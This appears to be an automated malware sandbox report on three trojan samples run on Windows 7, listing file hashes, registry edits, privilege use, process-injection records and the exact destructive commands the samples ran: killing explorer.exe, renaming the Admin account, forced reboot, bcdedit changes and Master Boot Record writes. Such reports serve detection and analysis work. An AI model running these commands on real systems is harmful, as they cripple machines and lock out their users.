SHA256 07e314d54a3e51fc71a3443466e209f670702a2f876ae9ad9e66681071068d22
SHA512 bd9e0fb6c81b902d29ff8bf095424a9ee006a1499afb9f6bc7b1a1944bfc13386057779363a858d9a86c374cb512d774a10f20cd56dd9f857169eab3c63fb58d

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5 e263038813d358a80df9e5b73171b1e5
SHA1 11c3792c8e8b1808f6adea8bda519f38182c8ba9
SHA256 0862650765fd972cacdbc4b00dd4fa2dbad560806fb514cb26f2e467a16892aa
SHA512 bfc316158024f18b2d37e9235f142dc47903d78be85d2d7ea1b228b9356025ac42f79020bde2fb1cf9b71a15c6e26a65de3f4552e8fd239a251ba11e0c84569d

memory/2664-259-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\chilledwindows.mp4

MD5 82475d648617d5b3d96d668126f79fe3
SHA1 45a8c6c816783f9efd7a33ac25f25910861df79b
SHA256 8af8a785dcdd2b20719b5caf9ee19a219d45989db433fe7b834989b49d5add39
SHA512 7487b0dfff147c0a662af4b34143b8c103dc2eb3ec3e37b1e5352c0d7683d19c747826f23ac7cead83491ed7f57803e31b8b9b6db677b449cf2cf127f9db444e

Analysis: behavioral23

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:27

Platform

win7-20240221-en

Max time kernel

125s

Max time network

27s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\259441456.bat" "

C:\Windows\SysWOW64\cscript.exe

cscript [regtaskmgr.vbs]

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\259441456.bat

MD5 826431d3df1879172a96555d7ba0aeef
SHA1 f56ff5d3c06f78f53884071d1357ba79ee85b96e
SHA256 e22b0b5185247a3ca52cb7cd6a271efced0d1d6e8910294f7131241f5d58b7ee
SHA512 e995b82e1716ab7f7ea8d810a441ce2b68e570c0e31386670e6c193a11131e5274747205a3245424b7d71b7b0745313bd522eff452b175c80425fbf5ef2bbc52

memory/2460-12-0x00000000022F0000-0x00000000022F1000-memory.dmp

memory/2128-17-0x0000000000400000-0x0000000000407000-memory.dmp

memory/2460-31-0x00000000022F0000-0x00000000022F1000-memory.dmp

Analysis: behavioral25

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:24

Platform

win7-20240221-en

Max time kernel

4s

Max time network

9s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

Signatures

Disables Task Manager via registry modification

evasion

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.png" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2164 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2164 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2164 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2164 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2612 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2612 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2612 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2612 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2612 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 2540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2612 wrote to memory of 1764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2612 wrote to memory of 1764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2612 wrote to memory of 1764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2612 wrote to memory of 1764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\z666.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='No System Anymore'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'No System Anymore'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2164-0-0x00000000744C0000-0x0000000074BAE000-memory.dmp

memory/2164-1-0x0000000000E70000-0x000000000153A000-memory.dmp

memory/2164-2-0x00000000053B0000-0x00000000053F0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\z666.bat

MD5 ee655674ba8e05d5a4c32de58a6757c1
SHA1 f06f54710d5a0b341a9e6d467e1bb1a78f2f9606
SHA256 40cc0b6734258fc61e9940e359b7e0b84651e44a12943bb4381523a5cea325ef
SHA512 26bc97bff5612643c379776baf3637f7233748e7ecd8d8b94aa995e0a77d79c4c02d49ed98ef1bdc6d417bcf82e35069427692967c73d3b3899aff3868c93ebd

C:\Users\Admin\AppData\Local\Temp\NoSystemAnymore.exe

MD5 ef4e8ea4440efc48d5cd1a05a3a6f2a8
SHA1 74b5a40d4d9cb94ac7ed93b1cf9045539e50f068
SHA256 b1f25de77226ad8cf0e06226653e1c5aa7ac27a1ba8ba7bff8845685c2e53709
SHA512 f7aaa82dacf0ceee3f8311c787a568fdbe0b322d47371ddab37427902ceb74d0b324d6335878366d40f4d5d2b04b00157b81c8bd7b5c7b27fdcd26c770c13bf4

C:\Users\Admin\AppData\Local\Temp\bsod.exe

MD5 f1896231e9622dd044601962a9866a77
SHA1 36ad39e7d797ae43ee415e90a2dc234e0be3087b
SHA256 a254d664351a6db50d98bebbd530c46e64f9b9455bf4f378254045b2cde971f8
SHA512 e4004c3879b2b337260848e748c9d0b5e51bb4c8a8c317e44cedfe30e614391c329d1c07e7b052983897cc1010eee994c09cb370f721317f9c429c1d82e50901

C:\Users\Admin\Desktop\NO WAY NO WAY NO WAY NO WAY NO WAY NO WAY NO WAY N1 WAY.txt

MD5 391403276c6df4a164b0544a3411c6c7
SHA1 c4c06a4c7710d1d8140b07abd4b7bcd4187485ab
SHA256 524dcba7e6a293bc6a19c1522672598a71ff4def394ac696ec30ea99154d511b
SHA512 2b0b05f4e8241ec07bd35f1a40113be5fa8689d5bfb8a4064a5c8dc119b10fe40b33697ad2e3195c068fa8cce5d7a860dbbbffebb45d8a9fc1ec121b6a5216f8

memory/384-823-0x0000000002E10000-0x0000000002E11000-memory.dmp

memory/2164-824-0x00000000744C0000-0x0000000074BAE000-memory.dmp

memory/2016-825-0x0000000002AB0000-0x0000000002AB1000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240215-en

Max time kernel

97s

Max time network

17s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Temp\winconfig.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\DetectKey.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Enumerates physical storage devices

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DetectKey.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2220 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2220 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2220 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2220 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2488 wrote to memory of 2740 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2488 wrote to memory of 2740 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2488 wrote to memory of 2740 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2488 wrote to memory of 2740 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2740 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2740 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2740 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2740 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2740 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2740 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2740 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2740 wrote to memory of 2412 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2412 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2412 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2492 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2492 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2492 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1924 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1924 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1924 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 404 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 404 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 404 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2692 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2692 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2692 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1772 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1772 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1772 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
